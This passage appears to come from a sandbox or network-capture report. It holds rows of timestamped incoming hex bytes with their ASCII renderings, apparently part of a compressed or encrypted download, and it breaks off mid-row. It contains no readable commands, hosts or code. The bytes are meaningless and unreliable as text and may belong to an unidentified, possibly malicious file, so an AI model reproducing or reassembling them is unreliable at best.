f3 2a db 37 3c b0 d2 7c 66 c3 32 ef 8a ec 6c 4e 77 2c 5a 95 f2 97 63 7d 71 57 78 c5 f4 ad c8 01 11 Data Ascii: ~&9?se]u^y]W.JJ[YD$d:`"uij/uuj&ma]zLeV&@49I<)J;Q%j% 3zxadUj~:p~.hech$lh7<\|f2lNw,Zc}qWx
2021-10-28 20:43:28 UTC	2791	IN	Data Raw: ff 40 74 10 7f c8 80 bb f7 32 77 25 8c 3d ad bf 11 6a 56 b4 20 ed cf b8 1d b8 15 81 e7 43 87 07 4b 9d 36 0b 8f 0e 46 c9 56 39 90 10 fb 63 bb a9 90 53 c1 db f8 a0 b6 ef 7e a6 b9 9e cb 16 64 4c 46 70 22 18 a7 ef cc f2 ea d1 9d 0c ef 6a 33 eb aa 14 77 f4 fb ff 99 93 57 e3 ec 25 02 58 ca f0 fe a7 74 02 df cf 76 df 35 09 2c e9 7b 19 44 41 4f 14 25 03 15 31 9c 62 48 dd 8d 79 ef a7 79 27 f2 6b ed 17 02 e9 36 a6 38 5b 94 6d 6c 17 27 d0 0a 87 cf 98 42 94 1d 6a d8 1e cb ad 20 a7 54 cb 26 7d 31 97 0f 23 26 bc 2b 49 da d2 0e ea ca 08 72 b0 37 3f 5a 50 d6 0f 54 38 4b 95 7a 6b 53 33 3c 35 32 6b 32 6c 04 cd 3c 97 5a 62 1d 50 c9 58 08 8d a8 40 23 a7 c8 d1 65 72 18 8c 59 88 64 e4 27 48 80 db b5 68 6f d0 01 a9 4a a2 d1 87 9c 08 ff e9 23 08 78 d9 e4 a5 05 cc f7 19 cc 71 0c Data Ascii: @t2w%=jV CK6FV9cS~dLFp"j3wW%Xtv5,{DAO%1bHyy'k68[ml'Bj T&}1#&+Ir7?ZPT8KzkS3<52k2l<ZbPX@#erYd'HhoJ#xq
2021-10-28 20:43:28 UTC	2807	IN	Data Raw: 65 f9 8d 83 11 ed ed 19 39 58 9d 59 53 f4 09 b2 4c 4e 45 b1 37 f1 04 e8 32 bf 96 ae b0 e7 93 50 55 ce 0b d6 3d 8d 31 a7 3f 2b 0f cb 7b aa 4b 81 42 75 f9 b2 2b 4d 19 58 0a c8 40 9f d9 01 59 31 47 af 4a ac c8 99 f3 10 e1 d7 88 c4 a9 9b 60 0c cb 47 8a 02 e9 47 fa e8 17 83 24 a5 1a 77 14 d3 98 28 dc 92 cb 5c 11 c8 0e 58 5b 47 3b cc 8d 92 f9 ad 88 33 52 72 6a fe ee cb 79 9a 7d 2e 75 79 be 40 12 de 5a cb d7 fc a8 be 96 96 ca f9 be 94 a8 68 25 5f dc c9 80 c5 ef c9 45 bd 8c d1 86 ec 53 3f 5d fe da 5e d7 20 8e 17 05 69 22 4b ac 4c 9c 68 a7 4d a0 08 68 89 15 f4 31 d2 9c 72 33 fc b9 4c 04 d6 66 12 d1 82 32 54 21 a8 e2 ef 1a aa 7d 2f 9a 18 ff 73 5b c1 59 89 3a d3 6f 36 8d 71 66 8f a7 7e 21 ad 21 21 4a ec 88 9c 15 e9 29 d4 0c bd ae bf 46 f7 88 88 e0 26 26 3d 34 30 b3 Data Ascii: e9XYSLNE72PU=1?+{KBu+MX@Y1GJ`GG$w(\X[G;3Rrjy}.uy@Zh%_ES?]^ i"KLhMh1r3Lf2T!}/s[Y:o6qf~!!!J)F&&=40
2021-10-28 20:43:28 UTC	2823	IN	Data Raw: b9 92 02 f0 a8 e3 12 28 18 0e a9 a1 c2 59 be 61 26 de c8 8f 21 c8 46 3b 70 f6 2e 25 25 1c d6 f3 e6 ba 19 8c 50 f5 32 c6 59 de 3c e7 22 51 ee 18 69 32 ec d4 01 8e 07 bd fe ee f3 40 11 92 80 65 de 0f 93 09 7e 1d 8a 26 60 0d 4c fb b6 0f 93 4c a7 e7 15 39 89 85 39 69 a1 b3 f0 95 47 c1 02 72 1d 2c 7b cf e2 5c ef 81 e3 7c 46 a6 fe aa 8c c2 91 ae a5 bc fe 3b 8d 57 af d6 99 fc 6a c0 17 13 fd 2b 42 83 2c 54 1e dd 6a 94 4f 4d f3 c7 4e 45 72 42 ff b6 38 0a cd 39 29 5e 5a 74 3d 9c 86 a2 5d 2c 18 7a 62 af 5c dc 77 c4 4b 03 cc 3c 37 42 af 71 f1 67 c7 7b f7 41 d1 9f a4 5c 2d 27 c6 97 3e 44 8d 04 6f 2c b6 45 94 8f 4c 7e 73 de d6 a2 7e d9 dc 2e 60 4e b2 6f ef d8 4d 8e 7b 3c cb 05 7a e9 34 43 cb 10 aa 4b c9 9c 7e 4e a3 a1 c7 1d 25 0b 6a 5f 67 6d 91 bc d6 0c d2 72 8b 0c 17 Data Ascii: (Ya&!F;p.%%P2Y<"Qi2@e~&`LL99iGr,{\\|F;Wj+B,TjOMNErB89)^Zt=],zb\wK<7Bqg{A\-'>Do,EL~s~.`NoM{<z4CK~N%j_gmr
2021-10-28 20:43:28 UTC	2839	IN	Data Raw: b9 62 55 7b a1 13 be c4 13 d9 ee 3e 6e de 20 ee 1c 04 ff a5 42 10 54 7c c8 ad 56 25 79 f3 b4 fa 28 61 f4 a0 cb bd 9c 96 70 29 73 91 16 07 18 35 f5 68 95 00 b6 46 a5 e7 f6 81 55 37 d8 3c 29 c1 25 40 e5 25 76 0f 85 8e d3 71 df 57 60 01 d8 e7 ef 24 28 5f f2 6d bc 1f 5f 4b aa 65 20 16 b6 72 71 5f 06 42 56 6f 2d 4b 11 6a 53 a9 73 af 09 b0 6b 8b 0d 46 c2 0b 8c d1 b7 01 7a 54 ed db ae cd 95 eb 3b d7 f3 94 1d 96 b3 94 4e eb 01 b4 d7 72 9a 42 bf 23 ba 2a 06 53 ec b5 bc 63 27 84 c2 bb 71 52 5f 9b 8e 1c a9 99 39 37 ae de 76 2d 32 dd ad 1f 4c 63 3d af 9c 2e 22 20 7c 0e 42 d4 ed 36 66 fe 3f 9f 3a e0 f5 82 e7 54 c0 27 d0 d9 36 ef 78 98 e2 7f 8e f9 9d 0e 5a e9 f6 c8 96 c3 7c d9 b0 5b 8f 92 9b 88 a4 a5 5d 24 e7 c6 34 b2 0d 9d 70 2e 79 9a f5 dc 02 f4 5f de 0d 86 bf 8f a6 Data Ascii: bU{>n BT\|V%y(ap)s5hFU7<)%@%vqW`$(_m_Ke rq_BVo-KjSskFzT;NrB#*Sc'qR_97v-2Lc=." \|B6f?:T'6xZ\|[]$4p.y_
2021-10-28 20:43:28 UTC	2855	IN	Data Raw: 12 a0 f2 6b a0 92 a5 95 95 e7 ad ac 82 c7 cc 9d 00 f3 0f 94 51 82 21 1c cb d7 30 bf 92 45 d5 b3 da a6 7d 01 0f 78 c6 13 1c df 93 a9 54 3d ac 6e 47 45 c0 3c 96 43 8c 54 1c 3f 36 2e 0b ac d7 f2 80 7f 7b 10 01 61 5a 80 65 20 43 75 be 6c c1 55 87 eb 50 6d c4 ed 08 fc d8 af 62 c4 dd f3 6d 63 91 03 85 a2 e0 37 d3 4b 63 b9 ef a1 ed a9 15 aa 2f 2f 88 a5 8a b9 9c 5a b4 90 89 db ca d8 46 1f c4 2a 44 0a 3d 00 19 6e 35 c2 b2 05 65 8e 5b 53 ef 50 76 9f 5e a3 40 30 16 9c 9d 7e 1a b7 a7 19 8c 8e ac b2 60 a0 14 79 1d b4 12 e6 1d e7 f8 35 5e 55 79 d4 2e 7b 44 52 92 d8 c9 aa d9 a1 bd db 3e 11 58 70 b8 64 a9 3c d0 ca f7 3b 04 71 3e 99 65 bd fa 54 b1 09 db b7 e2 f9 23 55 81 9d c9 f3 44 29 91 c9 72 3c 85 1d 68 24 36 ea 8d b8 87 32 88 9c aa ff 71 f2 08 18 94 39 d4 4f 8c a1 00 Data Ascii: kQ!0E}xT=nGE<CT?6.{aZe CulUPmbmc7Kc//ZF*D=n5e[SPv^@0~`y5^Uy.{DR>Xpd<;q>eT#UD)r<h$62q9O
2021-10-28 20:43:28 UTC	2871	IN	Data Raw: 28 9c 21 8e e7 ef 05 1e e5 93 d1 1d ea 54 f7 e8 a4 81 a9 a9 d1 e4 74 34 e5 1e e3 6c d5 bd b1 a7 ff 3c ac cd bd 87 ac 72 7e ee a1 2c 48 69 b3 94 cb 71 e4 72 96 7e 85 2d 6c 7f 72 e9 1c 75 f9 c2 4c 7a 90 1c 4c 3d bf 3a 3c 3c 75 a0 bf d1 f7 72 d3 e7 85 23 ec fc e8 e6 05 1b 81 39 14 9a 5a e7 6a c3 7a f7 2b ea b3 f5 8b d9 bb ee f7 71 9d ed 05 02 42 a9 da ae e9 6e 0a 65 82 b7 11 8c cd 60 80 e1 71 57 88 d2 8e 67 eb be 67 91 ae f6 a2 76 34 01 7c 8d a1 8c 79 06 2e 28 b2 6a b7 be 06 cd 31 19 5e 3c 0d 30 cb bd 60 3b 16 87 b5 f0 9a 46 a3 f0 12 56 d7 54 e2 bb 33 34 64 c7 be 6a 18 08 39 64 c9 03 51 3e ab 63 e4 72 5c 23 d1 05 6c 59 1d 18 96 59 b6 87 61 80 06 66 b8 da 65 db 16 b0 06 bf b1 2c 4b f9 87 c4 82 ce 9a ae 40 2a 7b 88 27 34 06 2c ea bc 9c 23 3e 4d 9c 3c f6 4e c1 Data Ascii: (!Tt4l<r~,Hiqr~-lruLzL=:<<ur#9Zjz+qBne`qWggv4\|y.(j1^<0`;FVT34dj9dQ>cr\#lYYafe,K@*{'4,#>M<N
2021-10-28 20:43:28 UTC	2887	IN	Data Raw: a2 5d 2c 71 12 c8 59 56 a1 de 78 98 70 f4 69 dc bf dc 14 33 54 12 9c 39 35 72 94 71 10 c2 6c 7f 00 81 29 fd b1 66 40 9d 18 7d 55 b4 55 93 e0 49 66 79 13 57 25 14 02 35 43 2e a6 98 ed cf 85 74 38 27 ce 7d 93 48 88 ac 32 29 1c 79 58 44 9b e4 90 00 65 6a 50 c7 2e 8e 21 71 19 36 0b 51 f7 8e fa 76 17 c8 10 c1 8a b0 d0 ed 21 55 56 7f 77 04 04 90 c6 b3 fc 06 d8 d2 73 a1 60 c8 f2 2c 8e 6a 26 5e 75 24 11 57 39 96 e5 4b 70 49 e1 57 99 cc e7 dd 79 49 59 02 4a 5e df bf f3 42 79 45 35 14 90 69 5c c2 91 1a 15 be 82 47 3b 35 64 59 88 d9 6b b1 d5 e7 02 30 22 f6 ab 05 ee d4 04 0c 5b e4 ad c4 bf 0b 51 0b 23 94 ef af cd 1e d8 a2 9a 73 30 64 ed b9 92 a7 59 6f 82 da 38 a9 df b8 1a 52 0d 14 26 c4 21 ea b0 e7 bf d0 1f 82 80 33 00 5c ca 30 ed a1 a4 9b cd fc ee da db aa cb 95 ea Data Ascii: ],qYVxpi3T95rql)f@}UUIfyW%5C.t8'}H2)yXDejP.!q6Qv!UVws`,j&^u$W9KpIWyIYJ^ByE5i\G;5dYk0"[Q#s0dYo8R&!3\0
2021-10-28 20:43:28 UTC	2903	IN	Data Raw: 28 6c 91 66 da 8d f5 ea 64 f2 5c 5a 89 12 90 6d e6 64 45 3e 04 6b e9 e8 f2 56 90 3b 33 4c 0c da 2b 35 27 d6 78 cd 46 d4 78 49 52 f3 6d 15 37 f4 13 b8 27 f8 02 1b 60 97 14 2f fe a9 7d 84 19 43 38 19 4e b2 e3 1f 33 c6 cb 8a 20 21 c4 4c 18 56 82 1e a5 74 1d 65 67 be 05 ca f0 4a 26 b2 fc c2 35 5e 52 62 62 6c 14 9c dc e0 f2 1e 86 d0 37 39 08 ed e2 a5 36 92 fa 2e a5 af 90 47 da bd 8d 23 7e 89 d0 78 56 99 63 2a 1e 00 9a e8 85 00 82 cb 2e 1e 62 0e 06 c5 50 cf 85 43 49 c1 19 5c 38 fa d7 d8 2f 90 a3 ed 95 58 11 05 2c 56 81 bb 5e be cd 47 fc 45 04 e8 28 b8 a9 5e 36 6b 30 dd c7 df ec 11 14 a9 af f4 c3 a4 35 43 36 16 e6 06 46 80 7c 8b 23 e0 b9 60 23 92 9a d4 44 57 74 01 60 d5 bb cb 73 9e 2c 8d 4f d9 27 c1 e9 18 bb 87 ca 7b c0 49 af 5a 16 c8 4f e9 07 9a 8f d5 29 b8 f6 Data Ascii: (lfd\ZmdE>kV;3L+5'xFxIRm7'`/}C8N3 !LVtegJ&5^Rbbl796.G#~xVc*.bPCI\8/X,V^GE(^6k05C6F\|#`#DWt`s,O'{IZO)
2021-10-28 20:43:28 UTC	2911	IN	Data Raw: f8 31 90 b1 f4 29 da 73 4b 8d d4 d5 d4 de 1b 8d 49 61 6c a6 b6 db 77 02 97 1a 8f 50 de 09 a2 24 be e5 b7 ea f0 0d b4 54 28 1d a8 5a 2e 84 93 69 fc 5c 6f 23 cf f8 21 e3 70 78 9b 01 c3 5e 4d 90 a8 d1 99 bc dd ae 79 81 83 ae 2b eb 01 1b 2b 9b 96 84 a1 3b 9a 7e cd 7f 91 ba d4 b7 ac eb 78 23 d7 c5 04 7e 04 6a 2e 2d 05 ca 12 7e 5e ef ae 04 a8 2b 7a 95 97 17 60 f5 9d bd cc 7c 58 7a 27 7d ea 8b b2 1f ee 39 49 ef 5c 8b c6 02 fb da 68 ff c7 e6 f1 ea 0a c8 26 09 81 90 cc b7 9f f8 bf e5 88 66 ca 5c 4b 54 ce 53 84 f8 69 54 19 88 4c 68 7a 23 e0 e2 4d 88 ff 72 69 08 dc c6 cf d2 f9 46 34 12 b5 7e c9 23 97 ab 6c fa 00 bb 17 ec 05 2e dc 4a 3c e6 bc 81 7d fa ce 25 e0 82 e1 aa 5f 51 9c c7 2f bc 78 79 c2 53 75 9f 4c e6 28 14 55 07 12 54 1d 25 17 35 ca 8e 5d e0 35 a4 79 a3 6d Data Ascii: 1)sKIalwP$T(Z.i\o#!px^My++;~x#~j.-~^+z`\|Xz'}9I\h&f\KTSiTLhz#MriF4~#l.J<}%_Q/xySuL(UT%5]5ym
2021-10-28 20:43:28 UTC	2919	IN	Data Raw: 90 47 fb 98 99 b4 ca 07 4e 7f 15 61 c1 ae 23 ae 83 30 e7 8b 84 ae 6c 38 c2 7d 1d af fe 5a d7 30 a4 c8 0e 4c 1e c3 45 d2 0d eb 1e 27 2d 38 d2 91 81 00 0d 0c 4e 7a 95 53 fa f1 cb 1f 40 4f a6 4a 16 a6 95 6a 38 d8 64 64 ce 69 e8 36 e3 00 24 84 24 52 e1 0c 17 e6 b4 b2 15 6b e9 16 8d c5 a6 4e 29 e6 ac 26 a8 f1 0a ba d2 c1 90 f0 8f 55 df 90 3c c2 69 fd 59 47 f1 23 77 31 7a 30 b8 92 c7 d8 c3 cf 5f c7 9f fe b2 4f f0 70 8d d1 8f 24 c7 fa a8 15 a5 56 44 a3 84 77 22 9c db d6 87 88 cc 69 4a 2a 3b 47 6e 43 82 ae 64 8a e2 21 36 9d aa ad ec 94 00 21 80 dd 5b a5 01 9d cd 41 7e 54 a7 a8 5f 13 32 50 ad f5 4b 17 54 31 a9 0d 92 b1 10 55 5e 97 58 16 f9 95 53 e4 6b fe c6 0b 7e 36 0b 8a 24 37 b1 7e 0a 5d 74 21 92 0c ac ef 35 76 51 11 7a 0b 84 b6 9e 8f db d7 a2 78 58 24 3b 88 9a Data Ascii: GNa#0l8}Z0LE'-8NzS@OJj8ddi6$$RkN)&U<iYG#w1z0_Op$VDw"iJ*;GnCd!6![A~T_2PKT1U^XSk~6$7~]t!5vQzxX$;
2021-10-28 20:43:28 UTC	2935	IN	Data Raw: 36 b1 5e f3 d2 98 ab 65 83 64 0e f7 84 0d 5d b4 51 37 af 31 1b d4 18 0c c2 12 4d 24 00 84 19 73 48 35 8e 41 a7 fe 5f 38 99 fc 0b 50 59 28 e4 1a 8e b8 7a 33 88 fa e5 e1 76 dc a4 8d 5e 63 9e 09 15 aa 3d ca 50 c9 fb e6 c0 03 5d 3b 55 a5 d1 77 13 64 72 3e ce 72 98 0e 85 15 d5 d4 08 1c dd 3c d7 7a 8a 9b 62 07 e7 05 c1 f4 a4 de c3 a2 d1 34 01 f9 2b 70 26 e6 f7 df d6 44 1a ce 64 48 58 14 59 d8 04 01 0d 63 f1 d9 d3 d9 cf fe 91 70 af 3b 29 2d e0 6d 05 f5 50 f3 53 5a f1 6c 61 58 10 8b a0 50 73 0f f2 ea a4 fd 01 39 e8 7d fa 23 8f 05 b2 d7 ea 74 eb c6 f6 7b 01 0f 29 20 15 a9 48 40 30 d8 8b 0c da 62 a0 94 d6 43 08 60 32 e8 c5 b1 89 1c 45 1a c7 76 ee 10 13 83 25 f0 d0 e6 fa c7 4c 68 14 48 42 35 ea db 33 3a 2e b7 99 6c 72 b9 db c3 d2 78 fc af af 3b 9f 3f 2b 77 ed c3 16 Data Ascii: 6^ed]Q71M$sH5A_8PY(z3v^c=P];Uwdr>r<zb4+p&DdHXYcp;)-mPSZlaXPs9}#t{) H@0bC`2Ev%LhHB53:.lrx;?+w
2021-10-28 20:43:28 UTC	2943	IN	Data Raw: be 96 e4 60 78 60 54 97 75 73 b1 70 a0 6c 06 32 25 87 5a 04 50 b2 d3 67 7f 0c b8 97 1c cd 74 98 62 aa cb e0 64 5c 44 5b 3e 66 26 62 f2 03 68 2e 56 95 9c 6f 00 bf 9a ca 01 40 c3 70 57 d3 c7 04 7a f6 1d 91 34 92 13 27 8d 3c 07 6d e9 06 89 f2 39 dd b2 d1 3a 3f 92 1b a9 28 c3 7f 59 f6 df 46 c9 3d 07 7a 21 0e 97 82 c6 b7 c1 87 46 5f d0 8f 07 7b 77 9c 88 a8 65 73 33 96 f2 30 cb c1 01 ce 53 48 81 3e e4 41 2d 2f 63 7b 9c 64 d3 28 01 3a 98 3a 4d e9 58 38 71 cb 8f 73 91 6a 3d d7 d2 af ff 68 d5 14 14 08 db c2 b2 f1 81 0b 6b 7d 15 19 41 02 6b 0b 05 ff d1 e0 6c f3 2c 56 59 03 71 66 d8 a2 f5 98 ed dc 8a 2a b6 57 62 f9 ab 8e 01 98 b7 1c 8b 0b 3a 2e cc 2b b9 d1 2c 6d b4 c4 23 d4 07 44 58 cd 49 cf 42 a5 1f b5 7f b3 ac 7d b4 80 fe 58 b6 8f 5e fc 32 98 d0 ce ba 9a 02 17 e1 Data Ascii: `x`Tuspl2%ZPgtbd\D[>f&bh.Vo@pWz4'<m9:?(YF=z!F_{wes30SH>A-/c{d(::MX8qsj=hk}Akl,VYqf*Wb:.+,m#DXIB}X^2
2021-10-28 20:43:28 UTC	2959	IN	Data Raw: d0 f2 47 67 0d a2 d0 10 86 f4 ff 94 0e d2 ee fb 7b 7b 14 54 0d cb ff 82 4e 6e e5 03 17 4b d4 32 f6 c8 84 76 3b a5 48 14 56 89 d2 af d4 0d cb db ac 85 a2 dd 65 25 e0 65 bf 4b 92 c0 46 3d 4f 45 97 aa 1a 57 a7 85 54 cf 1b 84 b4 f2 0e b2 1c 8a ef c8 e4 01 e3 11 bc 4d 68 74 60 36 2e cf a9 5f 2a 57 9a fc 4a 99 d8 91 e6 ac 67 ec d7 bd 01 9c 4f 61 41 1a 98 57 05 85 ab ce 2a cd 8b 61 b0 5e 2e 99 70 e6 56 6c ea 6d 56 fd 64 d5 a4 55 02 9b 9c 8b 26 f3 4d ce f8 ef 4c e5 f9 fc 56 b1 6f 02 14 3a 40 1d c3 6d 33 8d 8d be 63 4d 14 5e d0 d3 06 2d e1 94 a7 3c ff 52 8b 75 93 71 ed 81 3f c0 82 b6 c7 c8 a1 2e d8 eb 97 55 ec 0b 25 de f5 17 70 65 14 a4 a0 16 51 fc ab a4 0a 82 44 15 46 09 7b e4 26 3d 0d 49 55 33 5d fa 48 8c cc c7 c7 c6 55 e9 90 62 be 62 0d df e1 c1 49 0e 11 2a 99 Data Ascii: Gg{{TNnK2v;HVe%eKF=OEWTMht`6._WJgOaAWa^.pVlmVdU&MLVo:@m3cM^-<Ruq?.U%peQDF{&=IU3]HUbbI*
2021-10-28 20:43:28 UTC	2975	IN	Data Raw: 5f 93 66 13 0b a3 cc 0b 15 a8 d7 48 cf 33 44 6f 2a 06 be 8a 45 0e 82 16 6b 59 90 37 97 22 83 e1 7b b4 6e df 88 ef 26 e3 d9 82 8e 0c 44 90 ec 4c e1 ea d5 c0 a3 92 19 d5 e8 9c 18 b4 02 d1 76 5b 13 0c dd ea c1 1e 91 2c 5b 53 f6 26 2a 6d e7 67 36 51 cf 9c 89 0b fd 49 c3 6d 81 f2 a4 72 b3 f4 04 3a c8 83 0a 80 1a b4 f0 33 0b 31 da 6d 06 e8 7a 20 bd f1 5a d7 fc 73 d1 5c ae d3 4e ee ab f9 d4 db ce 37 ad 2e fe ce 83 ee 83 92 eb f4 07 11 c7 71 24 0a 73 57 c9 54 45 eb ff c9 51 48 af 68 34 75 f9 91 5d 8c 48 50 2b 01 01 ba 50 17 c7 c6 17 26 8e 8d 50 6d 39 96 12 b2 ce 41 97 df 4c fb 4a ac 97 b5 4f e7 92 ed 58 17 d5 0c dd eb d7 f2 1c 40 ab fb ed 03 75 3b e7 a5 55 00 97 39 1d 00 86 fa 09 0f 3e ab 6b e3 76 be 5d db 1a 55 95 bc e6 6c 8e e4 73 12 6c c7 98 58 48 dd 58 6d cb Data Ascii: _fH3DoEkY7"{n&DLv[,[S&mg6QImr:31mz Zs\N7.q$sWTEQHh4u]HP+P&Pm9ALJOX@u;U9>kv]UlslXHXm
2021-10-28 20:43:28 UTC	2991	IN	Data Raw: 4e 9a 67 7d 77 68 9b bf 30 91 99 31 6b f7 0b 2a 89 18 c7 8e 6f 22 03 00 4f e5 6d cb a1 5f 0c a7 86 90 e9 3b 6d 30 ba 8c 63 67 f8 90 62 a8 94 bd 53 b8 70 f1 0c 76 8d 3a a5 80 01 e3 19 45 10 a6 a1 09 07 3c b9 42 2b 24 98 9d d5 ca 91 f2 b7 66 04 a7 0f c8 ae 43 be 6e 02 d8 0e 8b 85 18 04 c3 d0 ec 69 73 90 a6 cf da a0 73 af f3 c9 e2 c1 2a db 9a eb 13 bb 56 80 d6 36 b3 6e ad 78 5e 02 9e 79 ca b2 3f 31 54 b1 7d de 06 60 70 21 6f 49 7e ee 0b b2 3c ba 0c 69 39 f0 81 36 60 3d 07 e9 52 2a 66 de d8 a0 d4 35 ee 48 86 44 05 d0 db 8b b1 91 b8 70 cb 8f cd 57 57 2f cf 93 3c 6e c6 15 10 ed f0 dc 08 bb c0 22 47 43 5c f7 dc 53 2a 47 63 47 e0 72 d6 2d 7a 14 ff 09 82 ff 6d 2e 61 74 eb ee 5b 2b 1f b5 b5 ff 7e 41 76 e7 48 2a 3e 3a e2 42 12 f3 c8 97 20 7d fe e5 bb e3 79 57 c0 be Data Ascii: Ng}wh01ko"Om_;m0cgbSpv:E<B+$fCnissV6nx^y?1T}`p!oI~<i96`=Rf5HDpWW/<n"GC\SGcGr-zm.at[+~AvH*>:B }yW
2021-10-28 20:43:28 UTC	3007	IN	Data Raw: 31 fc 92 01 47 3a 9a 67 9b 20 d7 38 da bb 0b 7a 75 13 42 ce 20 bc f2 b8 4b 6a 09 5d 67 47 8d 11 ed 17 94 6b 74 50 61 a3 ec b7 47 87 f7 e0 28 31 01 2b 70 e3 72 00 be e1 da dc d4 3c c3 ed 9f d4 f0 7a 85 06 92 23 84 3c 25 53 b2 f6 40 23 84 e0 97 bd 94 8e 5d eb f7 35 ea 5d e7 9d db c9 cd aa cb 86 d3 65 77 df 8b b0 f2 ac a4 c6 51 ae 58 a6 24 ea 12 0a 7b da 01 9c d1 15 5b 2c 30 80 61 c6 eb b4 80 35 cd 31 79 f4 07 9d a5 7d aa c4 51 d0 18 4e 8b ee d2 c0 f2 7c 79 22 53 68 e0 bf 29 30 78 f6 98 5a 4c 68 8d d2 9c 6a 56 80 f9 92 6b 0d aa 52 8a 54 ac 68 6d ee 32 53 50 b5 51 58 9b 1b 3d 86 0d 0f fc 71 bd ae 6e 39 11 54 72 8e df ee 25 85 50 50 17 10 c8 a2 a0 83 47 01 d6 fd 7f d3 66 cf 10 ec ec 55 ca 5e 54 65 cf e9 9b bc 90 02 4e fe 0c 80 f7 5f f0 a7 fe fc eb d7 cf 55 11 Data Ascii: 1G:g 8zuB Kj]gGktPaG(1+pr<z#<%S@#]5]ewQX${[,0a51y}QN\|y"Sh)0xZLhjVkRThm2SPQX=qn9Tr%PPGfU^TeN_U
2021-10-28 20:43:28 UTC	3023	IN	Data Raw: 2d 9d a5 7e fb 26 d0 43 d5 44 42 66 c3 be 0e 4f 89 0c 3a 46 90 f5 1d d6 4b a1 7d d2 32 38 f8 3a c0 6a 8a ad 4b 7d b8 6e a5 74 61 86 df f0 6c f0 4b a3 c4 1f 88 cf 5d 2d f2 47 e9 de 61 85 97 c2 26 11 d2 1c 38 16 00 5c 39 19 ac 04 b3 3e 83 d5 19 e9 e5 b7 8f 59 5d 19 c3 27 0a 75 5a 70 87 d0 0c d1 2b bf 30 ea 17 6a 31 b8 27 21 d4 58 26 f1 fc 61 fc 00 14 28 0a ff 55 ef 4e ce b9 c6 aa 94 bd f9 b0 e0 ea 5c a9 4e 57 3f 43 f0 87 ea 0c 02 1f 94 fe bb ac b6 e0 5d 88 0a f2 81 d6 79 0c 32 94 e8 ab 2b c4 6f 49 87 e5 ea 86 40 c9 71 87 a7 05 20 5b 0f 80 99 c5 ff 59 bd 8f c3 ef 59 bf 9f 71 2e 71 10 10 13 4f a7 4e 22 47 3e 84 65 6d 78 0c 43 6b c8 67 37 e9 df 6f cb 19 e8 a3 b6 0a 20 58 4c 56 68 fc 75 84 8f af 8b 33 64 ca af 65 cc e9 a7 01 ef a5 30 ba 82 dc ee 34 ed 2e 7c 52 Data Ascii: -~&CDBfO:FK}28:jK}ntalK]-Ga&8\9>Y]'uZp+0j1'!X&a(UN\NW?C]y2+oI@q [YYq.qON"G>emxCkg7o XLVhu3de04.\|R
2021-10-28 20:43:28 UTC	3039	IN	Data Raw: 58 80 53 b3 f5 d6 df ac 44 8d b3 a5 5c 5c 5a 47 9f 6e 82 c4 2e 5c cb 04 4e 43 e5 0f d1 2d ad e1 d8 ae fb 65 b5 d6 90 99 90 6c 58 40 c5 e9 3b 2d 80 aa df 08 8c 90 55 ce bc a0 77 c9 4d cc e0 18 53 54 34 3f c3 02 c1 7a 57 ef 28 7f fe 47 1b f0 a2 12 71 a1 dd 5a 26 b0 99 21 51 66 33 5c 90 bd 52 1c 16 26 d9 ce f2 da 8f bc 5b af 3a e4 39 b8 2b e8 ba 4f 2f 4f a3 31 2e 58 d8 9a 13 23 90 c2 2a e2 71 05 ed ec 75 2d e7 5d 4a 45 f1 63 36 d7 c0 e8 00 d0 d9 20 c5 af 02 ca 00 21 c2 0e 35 ee 43 8e 6b 28 d7 85 0e 7f ab e2 27 bf 17 11 3f 40 74 a5 7c 3a fe 4c e9 ad cb 61 62 c9 92 24 dd 91 b4 b5 d1 5f d4 ef ac 79 96 5c e2 c3 b0 f7 c0 60 74 16 53 ca df d6 0c d8 6d d9 79 69 f2 6c bd ef 15 e2 21 c3 49 df 3b 10 cc 41 89 3a 4c b2 03 06 14 fe de c3 fd 07 10 fb 0f 2f 09 3f 4b ab af Data Ascii: XSD\\ZGn.\NC-elX@;-UwMST4?zW(GqZ&!Qf3\R&[:9+O/O1.X#*qu-]JEc6 !5Ck('?@t\|:Lab$_y\`tSmyil!I;A:L/?K
2021-10-28 20:43:28 UTC	3055	IN	Data Raw: 25 2c 9c 19 f4 77 15 7e c7 f0 47 72 15 83 a1 cb a1 aa cc d3 af 74 f5 f5 d2 96 69 cc 47 62 ed 14 71 37 57 f8 dd f8 6b ae 50 82 91 33 12 1b 79 5e db 21 84 71 9e 6a bd f0 84 46 97 ba 06 87 68 6a 2e ec ab 44 24 57 9f 2a e5 de a4 fb c6 b5 d1 95 a6 a1 ab 76 87 bd 48 35 15 42 e7 ac 76 81 46 86 da f5 0d ad c5 b4 18 90 91 bd 33 5e b4 29 99 66 69 d8 08 c6 9d 89 1d 1a 28 60 28 80 f0 c5 f7 fa f6 e7 01 73 f1 d0 fc 64 13 d5 88 ab a4 b8 b2 54 31 4e 5a 78 c3 f1 63 b1 47 24 1f 48 04 73 e2 4b 18 0d 28 73 94 10 9b c9 d7 f4 7f 91 14 79 a1 f1 cc 08 bd 5d e5 af 8d 20 de 9e ea 7c 5a 7b f7 46 33 3c e1 e2 c2 34 f9 a1 46 59 04 94 80 a5 0c 23 20 c3 91 92 e0 1a 7b 03 b2 96 2e 7e 2f 6a 97 6d a2 ad 9d 12 95 c6 16 a3 d5 01 4d 43 11 80 b0 b5 5f 63 85 6e 2a a4 5b da 96 9d 11 b4 e7 20 46 Data Ascii: %,w~GrtiGbq7WkP3y^!qjFhj.D$WvH5BvF3^)fi(`(sdT1NZxcG$HsK(sy] \|Z{F3<4FY# {.~/jmMC_cn[ F
2021-10-28 20:43:28 UTC	3071	IN	Data Raw: 7f 8a 08 f7 c1 8b e5 b0 1e b7 91 d7 b2 e0 17 88 3a 3b d2 3f 9f 87 d5 9f ad 0f 05 cd a3 72 bf e5 42 4b 1a 8f 5c bb 44 bf d3 1d 88 97 af ee 26 8a 50 d4 aa 9e e1 cd c1 6f b5 f8 17 61 d9 7c ed 49 e8 fd 77 03 fc b9 62 a8 16 84 33 d6 5f 17 4a 55 d8 35 e1 b2 f6 bc 3c e9 b6 29 16 fa f4 1d 89 69 30 d2 06 4e c7 a5 ba 18 db f8 d4 12 7c a6 3e 8b f6 86 8a f3 ad b5 e1 9d 3a d3 35 e4 9e fd e8 c7 c0 89 44 ae 93 9d 07 d0 93 97 46 09 b1 f5 ca 43 d8 53 09 62 95 4b 18 4f b2 7a 28 6e b7 90 80 0b cf 89 dd 96 20 df 47 14 34 5f 7c 92 98 ed 82 5e 09 5e 96 97 be 05 66 50 71 67 73 c9 77 db 22 6e ef d6 b0 78 14 c9 d2 fa 5d 58 da 5f 4f 26 fa 55 09 53 c7 fc 0c 0a 4f 3e 89 